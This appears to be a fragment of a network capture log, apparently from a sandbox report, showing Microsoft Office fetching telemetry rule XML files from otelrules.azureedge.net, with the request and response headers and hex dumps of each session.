69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:46 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:47 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211047Z-178bfbc474bbbqrhhC1NYCvw74000000028g0000000010yp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:47 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:47 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:47 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211047Z-r1d97b99577hc74hhC1TEBvbns0000000av0000000004bg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:47 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:48 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:48 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211048Z-1777c6cb754b7tdghC1TEBwwa40000000bpg00000000x9nc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:48 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:48 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:48 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bac6914c-b01e-0002-4559-3c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211048Z-15b8b599d885ffrhhC1TEBtuv000000000fg000000007c77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:10:48 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:48 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:48 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:48 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211048Z-174c587ffdfn4nhwhC1TEB2nbc00000000f0000000008x1f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:48 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:49 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:49 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:49 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 48f36a6e-501e-0047-4f4c-3cce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211049Z-15b8b599d8885prmhC1TEBsnkw00000000eg00000000c68p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:49 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:49 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:49 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211049Z-178bfbc474bpscmfhC1NYCfc2c00000000mg00000000avvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:49 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:50 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:51 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:50 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: f6495d06-a01e-0021-3357-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211050Z-178bfbc474bp8mkvhC1NYCzqnn00000001wg00000000art5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:51 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:50 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:51 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:51 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211051Z-15b8b599d8885prmhC1TEBsnkw00000000hg00000000c6yv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:51 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:50 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:51 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:51 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211051Z-174c587ffdfmlsmvhC1TEBvyks00000000r0000000002a9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:51 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:51 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:51 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:51 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: fa2bbe9c-f01e-0052-6fac-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211051Z-r1d97b99577ndm4rhC1TEBf0ps0000000b0000000000h20q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:51 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:51 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:52 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:52 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c7391ddf-401e-0064-3568-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211052Z-178bfbc474bgvl54hC1NYCsfuw000000022g000000004cgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
